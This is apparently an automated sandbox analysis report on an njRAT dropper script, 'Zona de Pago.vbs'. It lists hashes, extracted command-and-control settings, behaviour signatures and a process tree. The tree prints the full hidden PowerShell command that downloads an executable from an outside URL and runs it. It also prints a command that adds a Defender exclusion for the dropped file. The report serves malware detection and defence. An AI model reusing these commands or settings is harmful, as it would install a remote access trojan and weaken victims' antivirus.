Analysis
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max time kernel
142s -
max time network
141s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
15-09-2021 08:29
Static task
static1
Behavioral task
behavioral1
Sample
Zona de Pago.vbs
Resource
win7-en
General
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Target
Zona de Pago.vbs
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Size
162KB
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MD5
df165c37e5339e9a1a720e593d8f2eb1
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SHA1
29f8959f9934a0a4f64bbdb3dbaa878334814fc4
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SHA256
282b7e31f3fff63d2f713d0841e75e52294bb6601454e78bfd9285839ec4a34a
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SHA512
277043fe7d52b876d3c8e04d0ae76f232a6e64774aeb89399c1e47952e82c65814e9004a0dcf1a824ca45ce52a05619b33fc7bcb9e33e740ecb83cc20b12b447
Malware Config
Extracted
https://onedrive.live.com/download?cid=4DBCDBEA8A120146&resid=4DBCDBEA8A120146%21150&authkey=AKfJKvTWpXPaOuE
Extracted
njrat
0.7NC
NYAN CAT
reald27.duckdns.org:3525
f45dd4eb26
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reg_key
f45dd4eb26
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splitter
@!#&^%$
Signatures
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Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 4 996 powershell.exe 6 996 powershell.exe -
Downloads MZ/PE file
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Executes dropped EXE 2 IoCs
Processes:
Hostdyn.exeHostdyn.exepid process 2584 Hostdyn.exe 2604 Hostdyn.exe -
Drops startup file 2 IoCs
Processes:
WScript.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Zona de Pago.vbs WScript.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Zona de Pago.vbs WScript.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
Hostdyn.exedescription pid process target process PID 2584 set thread context of 2604 2584 Hostdyn.exe Hostdyn.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exepowershell.exepid process 996 powershell.exe 996 powershell.exe 996 powershell.exe 2084 powershell.exe 2084 powershell.exe 2084 powershell.exe -
Suspicious use of AdjustPrivilegeToken 25 IoCs
Processes:
powershell.exepowershell.exeHostdyn.exedescription pid process Token: SeDebugPrivilege 996 powershell.exe Token: SeDebugPrivilege 2084 powershell.exe Token: SeDebugPrivilege 2604 Hostdyn.exe Token: 33 2604 Hostdyn.exe Token: SeIncBasePriorityPrivilege 2604 Hostdyn.exe Token: 33 2604 Hostdyn.exe Token: SeIncBasePriorityPrivilege 2604 Hostdyn.exe Token: 33 2604 Hostdyn.exe Token: SeIncBasePriorityPrivilege 2604 Hostdyn.exe Token: 33 2604 Hostdyn.exe Token: SeIncBasePriorityPrivilege 2604 Hostdyn.exe Token: 33 2604 Hostdyn.exe Token: SeIncBasePriorityPrivilege 2604 Hostdyn.exe Token: 33 2604 Hostdyn.exe Token: SeIncBasePriorityPrivilege 2604 Hostdyn.exe Token: 33 2604 Hostdyn.exe Token: SeIncBasePriorityPrivilege 2604 Hostdyn.exe Token: 33 2604 Hostdyn.exe Token: SeIncBasePriorityPrivilege 2604 Hostdyn.exe Token: 33 2604 Hostdyn.exe Token: SeIncBasePriorityPrivilege 2604 Hostdyn.exe Token: 33 2604 Hostdyn.exe Token: SeIncBasePriorityPrivilege 2604 Hostdyn.exe Token: 33 2604 Hostdyn.exe Token: SeIncBasePriorityPrivilege 2604 Hostdyn.exe -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
WScript.exepowershell.exeHostdyn.exedescription pid process target process PID 652 wrote to memory of 996 652 WScript.exe powershell.exe PID 652 wrote to memory of 996 652 WScript.exe powershell.exe PID 996 wrote to memory of 2584 996 powershell.exe Hostdyn.exe PID 996 wrote to memory of 2584 996 powershell.exe Hostdyn.exe PID 996 wrote to memory of 2584 996 powershell.exe Hostdyn.exe PID 2584 wrote to memory of 2084 2584 Hostdyn.exe powershell.exe PID 2584 wrote to memory of 2084 2584 Hostdyn.exe powershell.exe PID 2584 wrote to memory of 2084 2584 Hostdyn.exe powershell.exe PID 2584 wrote to memory of 2604 2584 Hostdyn.exe Hostdyn.exe PID 2584 wrote to memory of 2604 2584 Hostdyn.exe Hostdyn.exe PID 2584 wrote to memory of 2604 2584 Hostdyn.exe Hostdyn.exe PID 2584 wrote to memory of 2604 2584 Hostdyn.exe Hostdyn.exe PID 2584 wrote to memory of 2604 2584 Hostdyn.exe Hostdyn.exe PID 2584 wrote to memory of 2604 2584 Hostdyn.exe Hostdyn.exe PID 2584 wrote to memory of 2604 2584 Hostdyn.exe Hostdyn.exe PID 2584 wrote to memory of 2604 2584 Hostdyn.exe Hostdyn.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Zona de Pago.vbs"1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Executionpolicy bypass -noprofile -windowstyle hidden -command "Set-Content -value (new-object System.net.webclient).downloaddata( 'https://onedrive.live.com/download?cid=4DBCDBEA8A120146&resid=4DBCDBEA8A120146%21150&authkey=AKfJKvTWpXPaOuE' ) -encoding byte -Path $env:appdata\Hostdyn.exe; Start-Process $env:appdata\Hostdyn.exe"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\Hostdyn.exe"C:\Users\Admin\AppData\Roaming\Hostdyn.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Hostdyn.exe"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Roaming\Hostdyn.exe"C:\Users\Admin\AppData\Roaming\Hostdyn.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Hostdyn.exe.logMD5
0c2899d7c6746f42d5bbe088c777f94c
SHA1622f66c5f7a3c91b28a9f43ce7c6cabadbf514f1
SHA2565b0b99740cadaeff7b9891136644b396941547e20cc7eea646560d0dad5a5458
SHA512ab7a3409ed4b6ca00358330a3aa4ef6de7d81eb21a5e24bb629ef6a7c7c4e2a70ca3accfbc989ed6e495fdb8eb6203a26d6f2a37b2a5809af4276af375b49078
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveMD5
e2fd8c03a41ec2a6b5a1acdf84ffce87
SHA108dedbc04b1020bac54ba64cf491db582e6ec2ff
SHA25620a8d75412ada7012e709b13fa0d6860b4941a9892ab12a3ec8f364b3961c177
SHA5121c6e342ce69d407500d0a4b5840b977d546535902235505dd818620bdba7ab6294b4e04abdb9ded1519f18abd741fce2adcbe7a977a22b264c5c4f75af89fc97
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C:\Users\Admin\AppData\Roaming\Hostdyn.exeMD5
0bb825d7755c400a76fd8512f6baab38
SHA1278d3e2ca71d1b8f1e3b521e8885ae13e25d84da
SHA2562543435084f6e995500f8e9f12312db2da5241029f78418a5308524e295443d9
SHA51260bd692b834dd5280c93894adcfacde0d11cd0b7ae893a6b5a64cba704a13a0845f65bd322384d19e9eebf6a673a0565308f88769cc99eec4292c0ff2b980e34
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C:\Users\Admin\AppData\Roaming\Hostdyn.exeMD5
0bb825d7755c400a76fd8512f6baab38
SHA1278d3e2ca71d1b8f1e3b521e8885ae13e25d84da
SHA2562543435084f6e995500f8e9f12312db2da5241029f78418a5308524e295443d9
SHA51260bd692b834dd5280c93894adcfacde0d11cd0b7ae893a6b5a64cba704a13a0845f65bd322384d19e9eebf6a673a0565308f88769cc99eec4292c0ff2b980e34
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C:\Users\Admin\AppData\Roaming\Hostdyn.exeMD5
0bb825d7755c400a76fd8512f6baab38
SHA1278d3e2ca71d1b8f1e3b521e8885ae13e25d84da
SHA2562543435084f6e995500f8e9f12312db2da5241029f78418a5308524e295443d9
SHA51260bd692b834dd5280c93894adcfacde0d11cd0b7ae893a6b5a64cba704a13a0845f65bd322384d19e9eebf6a673a0565308f88769cc99eec4292c0ff2b980e34
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memory/996-120-0x00000253C2B80000-0x00000253C2B81000-memory.dmpFilesize
4KB
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memory/996-127-0x00000253DD190000-0x00000253DD191000-memory.dmpFilesize
4KB
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memory/996-132-0x00000253C2B70000-0x00000253C2B72000-memory.dmpFilesize
8KB
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memory/996-133-0x00000253C2B73000-0x00000253C2B75000-memory.dmpFilesize
8KB
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memory/996-134-0x00000253C2B76000-0x00000253C2B78000-memory.dmpFilesize
8KB
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memory/996-114-0x0000000000000000-mapping.dmp
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memory/2084-186-0x00000000089B0000-0x00000000089B1000-memory.dmpFilesize
4KB
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memory/2084-202-0x0000000009820000-0x0000000009821000-memory.dmpFilesize
4KB
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memory/2084-412-0x0000000009AE0000-0x0000000009AE1000-memory.dmpFilesize
4KB
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memory/2084-406-0x0000000009AF0000-0x0000000009AF1000-memory.dmpFilesize
4KB
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memory/2084-214-0x0000000007243000-0x0000000007244000-memory.dmpFilesize
4KB
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memory/2084-213-0x000000007F620000-0x000000007F621000-memory.dmpFilesize
4KB
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memory/2084-208-0x0000000009B40000-0x0000000009B41000-memory.dmpFilesize
4KB
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memory/2084-165-0x0000000000000000-mapping.dmp
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memory/2084-207-0x0000000009990000-0x0000000009991000-memory.dmpFilesize
4KB
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memory/2084-195-0x0000000009860000-0x0000000009893000-memory.dmpFilesize
204KB
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memory/2084-187-0x0000000008860000-0x0000000008861000-memory.dmpFilesize
4KB
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memory/2084-185-0x0000000007F70000-0x0000000007F71000-memory.dmpFilesize
4KB
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memory/2084-176-0x00000000070B0000-0x00000000070B1000-memory.dmpFilesize
4KB
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memory/2084-177-0x0000000007880000-0x0000000007881000-memory.dmpFilesize
4KB
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memory/2084-178-0x0000000007240000-0x0000000007241000-memory.dmpFilesize
4KB
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memory/2084-179-0x0000000007242000-0x0000000007243000-memory.dmpFilesize
4KB
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memory/2084-180-0x00000000077C0000-0x00000000077C1000-memory.dmpFilesize
4KB
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memory/2084-181-0x0000000007F90000-0x0000000007F91000-memory.dmpFilesize
4KB
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memory/2084-182-0x0000000008100000-0x0000000008101000-memory.dmpFilesize
4KB
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memory/2084-183-0x0000000008170000-0x0000000008171000-memory.dmpFilesize
4KB
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memory/2584-162-0x0000000008D60000-0x0000000008D61000-memory.dmpFilesize
4KB
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memory/2584-157-0x0000000005D20000-0x0000000005D21000-memory.dmpFilesize
4KB
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memory/2584-151-0x0000000000000000-mapping.dmp
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memory/2584-158-0x0000000005820000-0x0000000005821000-memory.dmpFilesize
4KB
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memory/2584-159-0x0000000005990000-0x0000000005991000-memory.dmpFilesize
4KB
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memory/2584-164-0x0000000009000000-0x0000000009022000-memory.dmpFilesize
136KB
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memory/2584-163-0x0000000008CC0000-0x0000000008D17000-memory.dmpFilesize
348KB
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memory/2584-155-0x0000000000F70000-0x0000000000F71000-memory.dmpFilesize
4KB
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memory/2584-161-0x0000000005A40000-0x0000000005A47000-memory.dmpFilesize
28KB
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memory/2584-160-0x0000000005820000-0x0000000005D1E000-memory.dmpFilesize
5.0MB
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memory/2604-167-0x000000000040676E-mapping.dmp
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memory/2604-166-0x0000000000400000-0x000000000040C000-memory.dmpFilesize
48KB
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memory/2604-280-0x0000000005770000-0x0000000005C6E000-memory.dmpFilesize
5.0MB